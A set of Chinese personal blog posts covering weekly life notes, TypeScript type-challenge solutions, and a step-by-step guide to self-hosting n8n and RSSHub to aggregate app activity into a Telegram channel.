多模态的输入是否能让GPT真正地触景生情？
GPT的创新能力真的比人类要强吗，是否具有从现实生活中抽象问题，并从零开始建立学科的能力？

⚙️ Raycast

Raycast很早就开始关注了，但我一直没有当做主力工具来使用，最到最近 paste 这个剪贴板管理工具老是自动闪退，于是不得已开始将 Raycast 当做启动器了

Raycast的颜值还是很棒的，插件的生态也很完善，后面也想写一篇Raycast效率上的使用（又开始挖坑了🤣

我最开始是想尝试一下 pinboard 插件的，但是很快就发现了一个问题：不能自动补全已有的标签，于是就想着我也来捣鼓下插件开发

不得不说Raycast的文档还是很棒的，插件开发也挺简单的，编译本地调试很顺畅 https://developers.raycast.com/api-reference/user-interface/form

不过我翻了半天文档，愣是找到我想实现的功能🫠（怪不插件作者没有做

有个办法就是提供下拉列表（但这样一来就无法新增插件了

<Form.TagPicker id="tags" title="Tags">
        {tags.map((tag) => (
          <Form.TagPicker.Item key={tag} value={tag} title={tag} />
        ))}
</Form.TagPicker>

先提了个issue， https://github.com/raycast/extensions/issues/7709期待有没有解决办法了

💭 休息与思考

重读了好几遍randy去泰国冥想的文章，https://lutaonan.com/blog/7-days-meditation/

其实我也有这种感觉，当我放下手头的事情，去做一点点体力劳动的时候，譬如手洗衣服，譬如扫扫地，我总能在这种劳作中，感受到一种来自心灵的放松，同时也会获得一些新的想法

这个真的很有用，可惜的是，。我有时候太懒了坚持不下来，比如这段感悟我就无法坚持写完了🐧

📺 追剧 & 📖阅读

《欢迎来到王之国》，虽然明知道是一部霸总的剧，但耐不住男女主都太tm好看了~，就我前两集的观看体验来说，比国产的玛丽苏、霸总剧要好多了，人物也不是面瘫（至少眼睛里还是有话的），好几个场景笑的在床上抽筋哈哈哈哈

《弃长安》刚巧这周开始看这本书，对于开元盛世-安史之乱这段历史又有了新的理解，如李林甫虽口蜜腹剑，但毕竟维持了16年盛世，如为坚固守睢阳，保全江淮，被迫食人肉的张巡，太多太多，历史翻过一页，也就翻过了无数人的一生

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

https://www.bilibili.com/video/BV1Xx4y1d7CC 《长安三万里》作文满分了属于是
https://book.douban.com/subject/36328704/《太白金星有点烦》马伯庸的新作了，微信读书还没上架但很值得看
https://www.youtube.com/watch?v=B1J6Ou4q8vE《火柴人大战数学》，看的我热血沸腾！
https://stackoverflow.com/questions/61292150/breaking-down-a-batch-in-pytorch-leads-to-different-results-why 这个问题有点意思，pytorch的linear底层实现做了一点优化，导致出现不同batch计算出的结果反而不一样
https://www.justgoidea.com/2023-049 构建自己的lifeos管理系统，很值得思考
https://run.chensoul.com/ 可以用开源的页面去搭建这样一个跑步呈现网站，感觉很棒！

TS挑战记录(一)

Sat, 29 Jul 2023 00:00:00 GMT

TS挑战记录(一)

题目记录在这里： https://github.com/type-challenges/type-challenges/blob/main/README.md

这个挑战主要是让挑战者更好的了解TS的类型系统，通过 type 这个语法来实现TS中的各种功能，感觉还挺有意思的！

同是type是一个图灵完备的系统？也就是可以实现类似C++template的元编程？🤔有空可以好好研究下： https://github.com/microsoft/TypeScript/issues/14833

Hello World挑战：

// expected to be string
type HelloWorld = any

// you should make this work
type test = Expect<Equal<HelloWorld, string>>

第一个示例主要是展示 type 的用法，答案：

type HelloWorld = string

既然这题题目本质上都是为了让你给理解type的用法，那先记录下学习type的一些笔记，不然后面的题目真的看不懂了

type的主要用法

这里先总结一下 type 的主要用法，防止后面的代码看不懂（其实我就是先做题再反过去学type关键字的😅）

基本类型别名

type Word = string;

这个很好理解，自定义一个类型 Word ，用来替代 string

联合类型

type StringOrNumber = string | number;

这里开始复杂起来了，不过可以理解为一个 union ，通过 StringOrNumber 可以声明 string 或者 number 类型的变量

注意这里的类型也可以是字面量类型，如

type ABC = "A" | "B" | "C"

这就表明ABC类型的变量值只能是 "A","B","C" 这三者之一

交叉类型

type Named = { name: string };
type Aged = { age: number };
type Person = Named & Aged;

如果要使用该交叉类型，则

let person: Person = {
    name: 'Alice',
    age: 30
};

typeof && keyof

typeof 是获取一个变量或值的类型，有点类似C++ 的type，但是用途更广泛

比如对一个函数使用 typeof 操作符，可以获得函数对应的类型，有点类似 C++ auto自动推导

const foo = (arg1: string, arg2: number): void => {}

通过 typeof 来定义参数类型

const bar = (f: typeof foo) => {
  f("Hello", 42);
}

keyof 则是获取一个类型的所有键名，如下示例

type Person {
  name: string;
  age: number;
}

type K = keyof Person;  // "name" | "age"

extends

extends 主要用于判断给定的泛型变量是否可以赋值给指定的类型

T extends U ? X : Y

当然，后续你会发现 extends 有很多神奇的用法 🤣

TS的in运算符除了常用法外，还可以用于遍历类型，可以作为元编程，举例如下：

type Keys = 'a' | 'b'

type MyMap<T> = {
  [K in Keys]: T
}

Keys 代表表示可以是 'a' 或者 'b' 这两种字面量类型

K in Keys则可以遍历这两种类型

最后的 MyMap 结构你可以理解成这样的：

{
	a: T, // 'a' 类型，其实key必须是a
	b: T // 'b' 类型，其实key必须是b
}

infer

infer的作用就是可以放在一个地方，用来指定推断出的类型（我反正这么理解的

看一个简单的示例：

这里我们用 (...args: any) => infer R 这里是一个函数的形式，想象 infer R 是一个整体，其实代表的是箭头函数的返回值，那么 infer R 自然就等于是返回值类型了

type ReturnType<T> = T extends (...args: any) => infer R ? R : any;

使用示例：可以看到 ReturnType 推断除了 R 是 string 类型

type T = (a: number) => string
type R = ReturnType<T> // string

补充完这些知识之后，就可以开始做题了 😉

实现MyPick

interface Todo {
  title: string
  description: string
  completed: boolean
}

type TodoPreview = MyPick<Todo, 'title' | 'completed'>

const todo: TodoPreview = {
    title: 'Clean room',
    completed: false,
}

通过 keyof 可以获取类型的所有属性组成的字面量联合类型，然后通过in遍历即可

type MyPick<T, K extends keyof T> = {
  [P in K]: T[P];
};

实现 MyReadonly

interface Todo {
  title: string
  description: string
}

const todo: MyReadonly<Todo> = {
  title: "Hey",
  description: "foobar"
}

todo.title = "Hello" // Error: cannot reassign a readonly property
todo.description = "barFoo" // Error: cannot reassign a readonly property

给属性加上 readonly 即可

type MyReadonly<T> = {
	readonly [P in keyof T]: T[P];
}

Tuple to Object

const tuple = ['tesla', 'model 3', 'model X', 'model Y'] as const

type result = TupleToObject<typeof tuple> // expected { 'tesla': 'tesla', 'model 3': 'model 3', 'model X': 'model X', 'model Y': 'model Y'}

这个想法倒是不难，但是没想全，直接看答案了：

type TupleToObject<T extends readonly (keyof any)[]> = {
  [K in T[number]]: K;
};

有一些关键部分要解释下：

keyof any 其实就是所有能表述的枚举类型，即 string | number | symbol ，因为 any 类型就是这三种 🤣
readonly (keysof any)[] 表示所有只读的 (string | number | symbol)[]，即混合类型的数组
[K in T[number]] 这里就是用 number 来表示数字字面量

这里为什么要用 readonly (keyof any)[] ？，而不是 readonly any[]

因为最后我们的呢结果是一个Object，而JS中Object的key只能是 string, number 和 symbol ，如果这里改成 T extends readonly any[], 那么就可能导致 undefined, boolean, null 这样的值成为key从而报错

另外一个比较难理解的就是 T[number] ，这个看个示例就懂了

type Person = {
  name: string;
  age: number;
};

type PersonName = Person["name"];  // PersonName 将得到 "string" 类型
type PersonAge = Person["age"];  // PersonAge 将得到 "number" 类型

可以理解为通过 T[K] 的语法获得对应的 value 类型

依次类推：

type ArrayType = string[];

type ElementType = ArrayType[number];  // ElementType 将得到 "string" 类型

type TupleType = [string, number, boolean];

type TupleFirstElementType = TupleType[0];  // TupleFirstElementType 将得到 "string" 类型
type TupleSecondElementType = TupleType[1];  // TupleSecondElementType 将得到 "number" 类型

那么答案中的 T[number] 即表示数组中每个元素的类型，再通过 K in T[number] 即可获得每一个类型

First of Array

type arr1 = ['a', 'b', 'c']
type arr2 = [3, 2, 1]

type head1 = First<arr1> // expected to be 'a'
type head2 = First<arr2> // expected to be 3

这题的思路因为要求数组第一个元素的类型，数组的元素类型可以是任意的（没有必须作为Object Key的限制）

如果直接取第一个元素

type First<T extends any[]> = T[0]

但是这里要判断数组是否为空，有两种判断方法

最简单的当然是：

type First<T extends any[]> = T extends [] ? never : T[0]

但是TS的类型，还可以当做值一样去运算，比如我们计算 T['length'] 也是可以的，因此

type First<extends any[]> = T['length'] extends 0 ? never : T[0]

还有一种思路就是：把数组做分解，想不出来😓

type First<T extends any[]> = T extends [infer A, ...infer rest] ? A : never

Length of Tuple

type tesla = ['tesla', 'model 3', 'model X', 'model Y']
type spaceX = ['FALCON 9', 'FALCON HEAVY', 'DRAGON', 'STARSHIP', 'HUMAN SPACEFLIGHT']

type teslaLength = Length<tesla>  // expected 4
type spaceXLength = Length<spaceX> // expected 5

这个直接取 length 属性即可，但也可以不readonly的，猜测是怕影响到原有的数组刻意加的吧

type Length<T extends readonly any[]> =  T['length']

Exclude

type Result = MyExclude<'a' | 'b' | 'c', 'a'> // 'b' | 'c'

这个应该是最难理解的了，答案是这个：

type MyExclude<T, U> =  T extends U ? never : T;

明明 extends 只是判断 T 是否能被赋值为 U 类型，

但是实际这里的执行过程为

'a' extends 'a' ? never : 'a'，返回 never
'b' extends 'a' ? never : 'b'，返回'b'
'c' extends 'a' ? never : 'c'，返回 'c'

最后结果拼接，自然返回就是 'b' | 'c' 了

参考这篇 https://www.typescriptlang.org/docs/handbook/2/conditional-types.htmldistributive-conditional-types

Awaited

这个也是很难理解的🫠

type ExampleType = Promise<string>

type Result = MyAwaited<ExampleType> // string

刚开始看不是很简单吗，我直接

type MyAwaited<T> = T extends Promise<infer U> ? U : never;

但是你有没有考虑到Promise里面可能嵌套了 Promise 呢？

那就改进下：（对你没看错type居然还支持递归）

type MyAwaited<T extends Promise<any>> = T extends Promise<infer U>
  ? U extends Promise<any>
    ? MyAwaited<U>
    : U
  : never;

理论上这样应该就可以了吧，但是我看了点赞最多的一个答案如下：

type Thenable<T> = {
  then: (onfulfilled: (arg: T) => unknown) => unknown;
}

type MyAwaited<T extends Thenable<any> | Promise<any>> = T extends Promise<infer Inner>
? Inner extends Promise<any> ? MyAwaited<Inner> : Inner
: T extends Thenable<infer U> ? U : false

这就有点懵了，为什么还要额外定一个 Thenable 类型，并且额外判断这种情况呢？暂时也没想明白🤔 如果不自定义 Thenable 类型，也可以直接用 PromiseLike ，后面有空再研究下

type A = If<true, 'a', 'b'>  // expected to be 'a'
type B = If<false, 'a', 'b'> // expected to be 'b'

这个就很简单了，第一个值必须 extends boolean ，并且需要判断是否能被赋值给 true 类型（注意直接写 C ? T :F 是不行的 🤣

type If<C extends boolean, T, F> = C extends true ? T : F;

Concat

type Result = Concat<[1], [2]> // expected to be [1, 2]

想不到吧，数组类型居然还支持 ... 运算符

type Concat<T extends any[], U extends any[]> = [...T, ...U]

Includes

type isPillarMen = Includes<['Kars', 'Esidisi', 'Wamuu', 'Santana'], 'Dio'> // expected to be `false`

这里看上去是要写一个循环，但实际根据 extends，如果是判断能否转为一个联合类型，则会展开然后依次判断，即

type Includes<T extends readonly any[], U> = U extends T[number] ? true : false

可以看到 T[number] 实际上是如下：

'Kars' | 'Esidisi' | 'Wamuu' | 'Santana'

然后 U extends T[number] 就会逐个去判断

Push

type Result = Push<[1, 2], '3'> // [1, 2, '3']

这个也很简单了，直接展开T，并且加上U即可

type Push<T extends any[], U> = [...T, U]

Unshift

type Result = Unshift<[1, 2], 0> // [0, 1, 2,]

很简单不细说了

type Unshift<T extends any[], U> = [U, ...T]

Parameters

const foo = (arg1: string, arg2: number): void => {}

type FunctionParamsType = MyParameters<typeof foo> // [arg1: string, arg2: number]

这个也挺简单的，注意理清关系就好了

type MyParameters<T extends (...args:any) => any> = T extends (...args:infer P) => any ? P : never;

周报8 一群人聊聊天也没啥不好

Sun, 23 Jul 2023 00:00:00 GMT

周报8 一群人聊聊天也没啥不好

本文记录的是raye在7.17 ~ 7.23 这段时间的生活、经历、思考

一觞一咏，亦足以畅叙幽情。

当我在写下标题的时候，脑海中第一个想到便是王羲之在1500年前写下的《兰亭集序》，似乎就连孔子，也表达过，愿意与二三子，浴乎沂，风乎舞雩，咏而归。当真是非常向往这种生活了。

可惜生活更多的是一种淡淡的悲伤，欲买桂花同载酒，终不似，少年游。

这周开始听播客，之前不知道是由于什么芥蒂，一直没有听过任何一档播客。可能我对新事物的接触就是那么迟钝吧？我不知道为什么不愿意迈开那一步，像一个战场上的战士，明明没有炮火硝烟，却依旧匍匐不前。

当我打开播客，当我听到：

就像一滴墨水，滴在白纸上，晕染出了亭台楼阁，晕染出了山川草木，晕染出了人间百态

我就知道，我已经无法逃离这份属于文人墨客、属于二三子、属于流觞曲水的快乐了

刚巧，本周和零时起意读书会大湾区的书友们也线下见了个面，一起吃了一顿带有潮汕风味的午餐。

一群人，谈天说地，从自动驾驶聊到中美贸易，从无人机比赛到大厂裁员，从风险投资聊到商业本质，除了莫谈国事外，思维跳脱得很🤣

我很喜欢这种感觉，也很怕失去这种感觉。

是为本周周报序

播客

就像一滴墨水，滴在白纸上，晕染出了亭台楼阁，晕染出了山川草木，晕染出了人间百态

语出看理想博客《谁在写我们这一代的故事》，https://open.spotify.com/episode/2bpqYclJ6MXEntFjXSlzpd?si=e93972c813c3487d

真的太喜欢这段话了，我甚至想仿写一句：

就像一弯明月，映照在大海上，折射出了宦游羁旅，折射出了游子思乡，折射出了人间大道

（仿写的不好，见谅了）

于是这一周都沉迷在听播客中，渐渐喜欢上了这种与远方的陌生人，进行一场隔空的灵魂交流。

书友聚会

本周二书友们就已经开始筹划周末的聚会了，自然也是很期待。我也在读书会中分享过《微积分的力量》，当时准备了好久的讲义，虽然开始讲了好几分钟才发现腾讯会议没有开麦🤣

书友们也分享过很多有趣的书籍（虽然有些由于专业隔阂，我并没有完全认真听🤣）

在序言中已经提到过交流的一些话题，自不赘述，记录下一些观点：

中美贸易战，没想到首先是从袜子、内裤这种轻工业产品开打的（因为中国的类似的轻工业成本已经很低了，每年大量的美国订单）。真正高大上的商战，往往都是在没有硝烟的战场，在一些细微到普通人都无法察觉的产业
吸管大王，垄断了全行业，但是年利润也只才3亿，延伸到最近深圳在制定高空抛物标准，实际参与标准评估会议的都是一些小公司，而这些小公司背后的利润都很高。（很多小公司，不是默默无闻地死去，就是在默默无闻地赚大钱）
商业的本质还是供需关系，只是很多小细节的供需你根本没有察觉到（缺少经商的基因啊）
一个行业如果目标特别地明确，那就可能会很卷。反倒是目标不明确，还在探索期，大家都能按时上下班🐶

（本来想放照片，但是我不知道怎么给人脸贴表情包哈哈哈哈😆）

logseq vs Obsidian vs Notion

简单写写，后面也准备分析下这几个笔记软件的优劣（挖坑.ing）我的笔记软件变迁路线：

最开始用的笔记软件可能已经忘了，不过最开始熟悉markdown，然后开始用 Typora，但是 Typora 的文件组织实在是不好用

后来迁移到印象笔记，因为有一个当时觉得很好用的剪藏功能，我还开了一年会员呢，并且联动的马克飞象markdown编辑器也开了一年会员

结果一年没用到，又换成了有道云笔记，确实挺好用的，而且免费

中间用了一段时间的notion，但是感觉操作好繁琐就弃了

后来在同事的安利下，尝试了obsidian，第一次接触到双链笔记，当时觉得好惊艳，于是又开始折腾obsidian

但是obsidian还是依赖传统的文件管理，并不是真正意义上的双链，并且搜索功能我也没搞懂

又切换回notion，notion确实用了很长时间，Apple的备忘录也用过，flow也用过

最近还是准备开始用logseq，发现这个才是真的香啊，有几个功能我必须得说一下：

日记

我以前觉得每天都要写日记是一种强迫，因为我实在是没什么可写的，但是logseq转换了一种思路

不是让我去回想每天发生了什么，然后记录在日记上

而是，日记就摆在我面前，我今天的一切入口都是从日记出发的

我觉得这确实是一种新的思路，这样我每天的记录也都一清二楚，当我要回顾的时候我也能清楚的知道每天都发生了什么（有个不好的地方，第一次用的人可能会一脸懵，我tm连怎么创建笔记都不知道！）

标签&页面

我觉得logseq第一次革命了标签的意义

我可以针对每个block都打一个标签，并且这些标签都会被自动关联到标签所对应的页面中

举个例子，比如我每天都习惯收集一些美好的句子

如果在notion中，我可能需要到专门的一个叫 句子 的database中，添加一条记录，并且命名
obsidian中，我需要创建一个新的page，并且取名
logseq中，我则直接复制粘贴，并且加上 句子 ，就完成了（不用取名真的太好了！）

当我只需要复制，粘贴，打tag，并且这个tag能够自动按时间顺序关联的时候，那种顺滑的感觉别提有多爽了

Serveless服务与频道管理

最近也开始沉迷serverless服务的部署了，除了n8n、rsshub之外，也部署了几个爬虫服务，同时参考 pseudoyu 的方法，搭建了一个 uptime 来进行服务监控。

我的频道，Raye’s Journey https://t.me/RayeJourney ，已经正式上线运营了。

虽然之前因为调试的问题，有时候一口气发了好几十条消息，不过现在已经差不多好了，欢迎关注👏🏻

日常会同步我的网易云、豆瓣、Twitter、xlog、medium、Spotify、Github、YouTube、pinboard、instapaper这些服务

搭建过程都记录在这篇文章啦https://raye.xlog.app/gou-jian-ge-xing-hua-de-shu-zi-ri-ji--zi-dong-hua-gong-zuo-liu-shi-xian-xin-xi-ju-he，如果有问题欢迎tg私戳我

（ps，最近xlog更新了，但是这里的图标显示有问题，其中一个Telegram我也不知道咋加上去的，实际上是错误的，不要被误导了）

更新，现在好了，原来是我不小心设置错误了哈哈哈哈😓

追剧《The Last of Us》第一季追完了，我太喜欢这部剧了！（虽然3月就完结了我现在才看完）

艾莉的冷笑话，乔尔性格上的转变，最后一幕乔尔一把枪干翻火萤的场景，配合上悲壮的bgm，忍不住流泪了

这一幕好暖啊，乔尔也会讲冷笑话了🤣

可惜我没法截图，但是推荐B站up的墨菲的讲解，讲的太棒啦！ https://www.bilibili.com/video/BV1rP4y1k7b2

历史

最近关注了安森垚这个up主，有这惊人的语速，但平凡朴实的讲述中，却又能感受到他在语言学，地理学，历史学，数学，中国传统文化等这些领域中有着很高深的造诣。

我最开始是好奇中国各省的产生与渊源，对于中国的地形，如汉中、四川、关中、南阳，这些中学地理课本上并没有讲到过的地形单元，我总喜欢探索背后的一些故事（其实也很三国历史相关啦，毕竟隆中对不就是涉及到了这几个地方吗哈哈哈）

结果在推荐中就看到了他的视频，后面陆陆续续把他讲中国文化视频都刷了一遍，做的真的很棒，增强了我的文化自信 🐶

我前段时间还在思考，周幽王烽火戏诸侯这个事情到底有没有可能，真的感觉很不靠谱啊，他的视频也详细解读了（其实所谓历史，不是现实发生的事，更多的是史官眼中的发生的事，司马迁能秉公执笔，客观的呈现已属实不易，烽火戏诸侯就当一个寓言故事来看吧😆）

https://www.bilibili.com/bangumi/play/ep515060/

思考

最近总是会莫名的焦虑，尤其是知道自己要做某个事情的时候，但是很多时候自己在忙，没空做。

结果一旦闲下来，又发现自己没了追求，一直拖着不愿意去做。

然后就开始郁闷，开始自我否定，否定完之后，又开始自我打鸡血开始搞事情

总是在这一开一合之间，有时候好累啊

还是要学会与自己和解吧🫠

Newsletter

以后所有的记录就都会自动同步到个人频道啦, [https://t.me/RayeJourney]

不过也会摘录一些放在博客里：

https://github.com/RayWangQvQ/BiliBiliToolPro B 站（bilibili）自动任务工具，有必要搭建一个，不然我的大会员都浪费了
https://github.com/F6JO/RouteVulScan Burp路径检测扫描插件，准备熟悉下代码贡献下
https://book.douban.com/subject/36170929/《玻璃塔迷案》，这个反转还是有点惊人的，虽然总觉得哪里不对（比如为什么要故意留下线索给医生），但还是很喜欢
https://github.com/cfour-hi/gitstars 可以管理自己的Github stars项目，我提了个pr，可以部署到vercel上（其实就是写个云函数的事，很简单，但是踩了一些坑），准备后续分享一下（如果想部署的话可以参考我fork的，https://github.com/rayepeng/gitstars
https://mp.weixin.qq.com/s/wFaSLMOdXibubgaIgNV3iQ 如何理解产品经理，写得很深刻

构建个性化的数字日记：自动化工作流实现信息聚合

Tue, 18 Jul 2023 00:00:00 GMT

构建个性化的数字日记：自动化工作流实现信息聚合

开篇

互联网现在仿佛已成为了一个赛博空间的战场，每个app各自为政，你圈一块地，我割一块土。旗帜鲜明，以邻为壑。颇有一种春秋战国的魅力

这让我想起一个故事，近代德国未统一之前，一个运货的商人，途径各个关隘，所交的税，已经是他所贩卖商品价值的好几倍了

对于生活在赛博空间的我们，不也就是这个商人吗，我每天在B站投币，在网易云听歌，在微信看公众号，在YouTube点赞, 以及浏览器中散乱的永远也不会打开的书签与稍后阅读，注意力和时间就是我们所交的税。

Reorx把我们比作赛博空间的信息过滤器，每天接受大量的输入，过滤出自己想要的信息。这个比喻略有一点恐怖，但事实就是如此。

信息输入的太多，看上去我们点赞、收藏、标记了很多东西，结果到头来发现自己已经忘了信息是从何处而来的。

我们需要一个收纳、汇总的地方，我称之为赛博空间的数字日记

本文将介绍这个话题，并一步步指引你如何实现这个步骤

聚合什么信息

展现形式

首先介绍这个汇总的地方，我选择的是telegram：

Telegram有很多让我兴奋的点：

创建属于自己的频道，类似微信公众号，且没有任何内容审查
消息支持的样式丰富，链接会自动预览，标签功能可以快速搜索
Instant View功能，可以快速地加载一篇文章，并且离线存储
好玩的机器人与丰富的API支持

当我把自己使用过的app上的记录都汇总起来，就沉淀了出如下的一个频道： Raye’s Journey(raye的日记)https://t.me/RayeJourney

欢迎join 👏

内容来源

我梳理了日常生活用到app or 信息来源：

阅读：微信读书（通过豆瓣记录）、博客论坛(medium、xlog，通过pinboard+instapaper记录)
视频：YouTube、B站
追剧：日常在Apple tv、Netflix、hbo上追剧，豆瓣记录
音乐：Spotify、网易云
社交：微信、telegram、Twitter
游戏：xbox、steam、taptap

经过梳理，其实信息源可以来自几个地方： bilibili、YouTube、网易云、Spotify、豆瓣、pinboard书签、instapaper稍后阅读、Twitter

微信什么的就别想了，隔离的太死了，我也不想和它玩

自动化工作流

市面上其实已经有很多成熟的自动化工作流平台了，如IFTTT、Zapier等

为了不让读者一开始上来就被繁琐的步骤给搞晕，我们可以先从一个IFTTT开始配置一个工作流

我经常会阅读medium上的文章，并且点赞或者加入稍后阅读

因此，我想实现一个，当我点赞了medium上的文章，我想自动同步到我的telegram频道上

IFTTT，这个网站的命名很有意思，是 if This, Then That 的缩写，直译即为：如果这个，那么那个

如果我点赞了medium的文章，那么自动发送到telegram频道上

点击 if This ，搜索 medium，选择第一个（即点赞），这个时候有一个链接你的账户过程，点两下就好了

添加好 if This之后，再选择 Then That ，搜索telegram，添加

这时候需要添加telegram账户，以及目标聊天群或者是频道（如果不知道怎么tg频道的chatid怎么获取，可以参考后面的附录

最后完成品如下：

此时，只要我们点赞了一篇medium上的文章，就会自动发送到telegram频道上保存起来

既然IFTTT这么好用，为啥不直接用呢？因此存在如下问题：

付费，免费用户只能创建两个工作流，且处处受限（比如Twitter的一些功能）
看平台的支持度，缺乏自定义空间
不可控，万一平台跑路，一切都没了🫠

鉴于此，程序员自然要有开源（白嫖）的精神，接下来介绍的内容涉及一些比较繁琐的步骤，但是如果按照步骤来也能轻松地完成😉

开源的n8n

n8n即是一个开源的工作流平台，虽然本身也提供付费功能，但毕竟给了我们自己部署的空间

n8n本身有一些简单的概念，很类似低代码平台：

workflow : 工作流，比如你想让网易云的喜欢的音乐自动推送到telegram，可以理解为你想实现自动化的一个事情
node：节点，即workflow拆解出的一个个步骤，比如上述可以分成几个节点，获取网易云喜欢的音乐，处理数据，推送
credential：凭证，为了保护用户数据，不可能随便拉取任何一个人的信息，因此需要使用到你的用户凭证

要部署一个服务，自然就得有云服务器，但是现在都流行serverless的部署方式，即不需要接触到底层的服务器，只需要打包好你的应用即可。

部署过程

数据库

n8n推荐使用postgresql作为后台存储，因此我们可以选择使用 supabase 来创建一个

https://supabase.com/

Github登录后创建就行了，唯一的门槛就是英语，不过也可以借助沉浸式翻译插件完成

获得Database的连接信息，保存下来，后续会用到

后台服务

Railway 是一个容器部署的平台，本来是最推荐的，但是我自己实验的过程中，平台的风控越来越严了，新注册的账号都不允许你从部署Github上的源码了。

但是思路打开一点，容器托管平台那么多，又不是只有你一家，你不让我用我还懒得用你呢😑。

我这里用的是 northflank 这个平台，唯一的门槛是需要绑定一张信用卡，搞一个虚拟的信用卡就行，相信折腾过chatGPT支付的同学都有

顺便发现了一个专供程序员白嫖的文档，收录了很多能提供免费额度的平台，生产力max！ https://free-for.dev//?id=docker-related

部署过程很简单，首先fork这个代码仓库：

https://github.com/rayepeng/n8n-on-railway

新建一个Service，仓库选择你刚刚fork的

northflank 会自动识别出Dockerfile，并且检测出对外暴露的端口号，分配一个域名

等待1~2分钟，部署完成之后不出意外你就可以通过生成的域名访问你的服务了。

环境变量配置

后台服务起来之后，还需要配置我们最开始的数据库链接，这里只需要按照如下配置来即可：部分配置项理解：

DB 开头的都是DB配置信息
VUE_APP_URL_BASE_API 和 WEBHOOK_URL 都填写生成的域名（也可以参考后续的步骤换成你自己的）
N8N_ENCRYPTION_KEY n8n用来加密的密钥，一定生成一个并妥善保管
EXECUTIONS_DATA_PRUNE 定期清理数据（即运行记录之类的，不然数据库会炸）

PORT=5678
N8N_ENCRYPTION_KEY=xxxxxx
VUE_APP_URL_BASE_API=https://n8n.app.raye.wiki
WEBHOOK_URL=https://n8n.app.raye.wiki
GENERIC_TIMEZONE=Asia/Shanghai
TZ=Asia/Shanghai
N8N_LOG_LEVEL=verbose
DB_TYPE=postgresdb
DB_POSTGRESDB_DATABASE=postgres
DB_POSTGRESDB_HOST=数据库URL
DB_POSTGRESDB_PORT=5432
DB_POSTGRESDB_USER=postgres
DB_POSTGRESDB_SCHEMA=public
DB_POSTGRESDB_PASSWORD=数据库密码
EXECUTIONS_DATA_PRUNE=true
EXECUTIONS_DATA_MAX_AGE=72
EXECUTIONS_DATA_SAVE_ON_ERROR=all
EXECUTIONS_DATA_SAVE_ON_SUCCESS=none
EXECUTIONS_DATA_SAVE_ON_PROGRESS=false
EXECUTIONS_DATA_SAVE_MANUAL_EXECUTIONS=false

如下图，配置完成后服务重启成功即可

注意环境变量里的URL配置，这个要填写你刚刚得到的northflank为你自动分配的，我这里是因为后面绑定了自定义域名（也就是说更换域名也需要修改这里）。因为这个域名是用作很多oAuth服务回调的，可以参考这条推文

https://twitter.com/huhexian/status/1686700703044313088?s=20

域名CDN加速

这一步可以跳过，并不影响后续的部署，只是手头刚好有一个域名，可以配合白嫖cloudfare的CDN加速服务

这里可能是唯一一步要花点钱的了，当然你手头有域名是最好的。

在腾讯云注册一个域名，比如我注册了 raye.wiki，再注册一个cloudfare账号，并且添加域名（我已经添加好了）

Cloudfare会要求验证下这个域名是属于你的，按照指引来添加一个记录校验

然后我们更换DNS解析的服务器，可以理解为把域名解析的任务托管给cloudfare（默认是腾讯云提供的域名解析免费套餐）

这样，我们的域名就托管给cloudfare，后续可以让cloudfare来帮我们加速访问了

域名绑定

在 northflank 中添加我们的域名，这里我选择分配我的子域名， n8n.app.raye.wiki，添加TXT记录绑定即可

初次绑定的时候可以先只开DNS，等到能正常访问了，开启cloudfare的小云朵即可实现加速

(Ps. 是否开启小云朵加速这个有时候需要多次尝试下，理论上是可以用cloudfare来加速的😅）

创建工作流

部署完成之后，不管你是绑定了自定义域名，还是由 northflank 分配给你的域名，都可以在浏览器中访问，注册好你的用户名和密码（毕竟这个是暴露在公网上的，并且会存储很多凭证信息）

之后就可以开始创建工作流，实现信息的自动聚合了。首先展示下我目前在跑的工作流

工作流可以直接复用reorx大佬的，导入json就行了，注意要区分成不同的工作流来搞，不要都集中放在一个工作流里（我开始以为可以后来发现会执行失败

https://github.com/reorx/n8n-workflows

接下来逐个介绍一下：

Github Stars To Telegram

Github Star的信息自动推送到tg（每隔30min）

Github用户的Star信息记录在这里：https://github.com/rayepeng.atom 替换为你的用户名就可以了

代码节点代码节点我是复用的Reorx大佬的代码，https://github.com/reorx/n8n-workflows 但他的工作流节点都是老版的，如果运行出问题，可以考虑更新到最新的，基本兼容，只是部分API方法需要加一个 $ 符号

顺带解释一下代码的原理：

getWorkflowStaticData 是获取静态的存储数据，n8n允许存储一些数据，比如我们每次存储最新的一次uid数据，那么后续工作流运行的时候，去比较当前最新的uid，是否和上一次存储的相同，如果相同就不需要推送（从而避免重复推送）
节点的输入实际上就是一个json结构的item数组， getId 就是获取item的每一个唯一标识，这个不同场景下是需要修改的（要根据具体的json结构）
staticData.lastItemId 就是在保存最新的id

const staticData = $getWorkflowStaticData('global');
const lastItemId = staticData.lastItemId;

console.log('lastItemId', lastItemId);
const firstItem = items[0];
let newItems = [];

function getId(item) {
  return item.json.track.id;
}

if (lastItemId) {
  for (const item of items) {
    if (getId(item) === lastItemId) {
      break;
    }
    newItems.push(item)
  }
} else {
  newItems = [firstItem]
}

staticData.lastItemId = getId(firstItem)
return newItems.reverse()

Spotify To Telegram

Spotify本身提供了OAuth的认证方式，我们只需要根据n8n Spotify节点的指引操作一下即可，代码节点基本复用

Pinboard rss To Telegram

Pinboard是一个书签管理工具，虽然收费，但是真的很好用。页面很简洁，简洁到连css样式都不加🤣

Pinboard同时提供了大量的API，比如获得最新添加的书签，因此我们只需要每隔一段时间检测是否有新增书签，即可实现推送

API如下，获取最新添加的书签

https://api.pinboard.in/v1/posts/recent?format=json&auth_token=xxxxx

豆瓣 To Telegram

豆瓣虽然没有任何文档提供API，但有一个隐藏的rss订阅源

访问你的个人主页，比如我的，👏🏻关注https://www.douban.com/people/162586644/?_i=9643158ntY72-j 就能获得对应的rss源了

与RSS Hub联动

其实到这一步你会发现，国外的app开发者们，都很贴心地提供了API给你调用，虽然各自有护城河，但毕竟还是开放的。

然而国内的这群app们就没这么好了，反爬措施一个比一个严格，就想把用户圈子自己的城堡里。

不过还是有解决方案的，RSS Hub 就是这样一个项目，初衷是为了让万物都可变成RSS订阅（感谢开源🥰）

其中包含了网易云、哔哩哔哩这些app的RSS订阅URL，官方文档：https://docs.rsshub.app/

因此，我们就能很方便地，自己部署一个RSS Hub，并且实现相关app的信息聚合！

RSS Hub部署

官方文档其实已经提供了好几种部署方式，https://docs.rsshub.app/install/docker-jing-xiang

但我们依旧采用白嫖的方式！

我一开始直接用 northflank 来部署的，但是由于资源不足会导致后台OOM。于是切换到了另一个serverless平台：https://www.koyeb.com/
